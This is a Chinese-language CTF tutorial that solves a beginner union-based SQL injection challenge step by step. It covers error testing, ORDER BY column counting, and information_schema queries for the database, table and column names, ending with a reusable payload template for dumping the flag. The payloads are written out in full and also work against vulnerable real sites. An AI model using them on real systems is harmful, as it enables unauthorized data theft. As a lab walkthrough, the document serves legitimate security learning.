【CTF Web 安全】联合 SQL 注入实战:从入门到拿 flag 完整教程 一、题目背景与分析这是一道典型的入门级联合注入题目也是 Web 安全中最基础的 SQL 注入题型之一。题目环境提示尝试获取某个id对应用户的信息吧这类题目的核心考点SQL 注入漏洞的判断方法order by列数探测技巧union select联合查询的原理与使用利用信息库、表、字段获取数据的完整流程二、注入漏洞判断1. 正常访问直接访问?id1页面返回提示文字说明参数id被后端 SQL 语句直接拼接处理存在注入风险。2. 加单引号测试访问?id1如果页面报错说明存在 SQL 注入漏洞。三、联合注入核心步骤步骤 1用order by探测列数我们需要知道 SQL 查询的列数才能构造union select语句。plaintexthttp://xxx.xxx.xxx.xxx:xxxx/?id1 order by 1-- // 正常 http://xxx.xxx.xxx.xxx:xxxx/?id1 order by 2-- // 正常 http://xxx.xxx.xxx.xxx:xxxx/?id1 order by 3-- // 报错当访问?id1 order by 3--时页面报错说明表有2 列。步骤 2用id-1构造联合查询联合注入的关键是让主查询结果为空这样union select的结果才会显示在页面上。构造 Payloadplaintexthttp://xxx.xxx.xxx.xxx:xxxx/?id-1 union select 1,2--执行后页面会显示plaintextusername: 1 password: 2这说明第 2 列是回显位我们后续的数据都可以通过第 2 列显示。步骤 3获取数据库名plaintexthttp://xxx.xxx.xxx.xxx:xxxx/?id-1 union select 1,database()--页面会返回当前数据库名例如test_db。步骤 4获取表名plaintexthttp://xxx.xxx.xxx.xxx:xxxx/?id-1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()--页面会返回所有表名其中一个就是存放 flag 的表例如flag_table。步骤 5获取字段名plaintexthttp://xxx.xxx.xxx.xxx:xxxx/?id-1 union select 1,group_concat(column_name) from information_schema.columns where table_nameflag_table--页面会返回该表的所有字段名其中一个就是 flag 字段例如flag。步骤 6获取 flagplaintexthttp://xxx.xxx.xxx.xxx:xxxx/?id-1 union select 1,flag from flag_table--执行后页面会直接显示 flag 值例如flag{abcdef123456}。四、常见问题与解决方法页面不显示 union select 结果检查是否用了id-1让主查询失效检查列数是否正确union select的列数必须和原查询一致order by不报错可以用union select 1,2测试列数如果报错说明列数不对group_concat结果被截断可以用limit 0,1分页获取数据或者多次查询不同的表名五、附录联合注入通用模板plaintext// 1. 探测列数 ?id1 order by 1-- ?id1 order by 2-- ... // 2. 测试回显位 ?id-1 union select 1,2-- // 3. 查数据库名 ?id-1 union select 1,database()-- // 4. 查表名 ?id-1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()-- // 5. 查字段名 ?id-1 union select 1,group_concat(column_name) from information_schema.columns where table_name表名-- // 6. 查flag ?id-1 union select 1,flag字段名 from 表名--六、总结联合注入是 CTF 中最基础的 SQL 注入题型只要掌握固定流程就能轻松通关。核心要点用order by探测列数用id-1让主查询失效用union select显示数据这篇教程覆盖了从漏洞判断到拿 flag 的完整流程你可以根据自己的题目环境直接套用模板解题。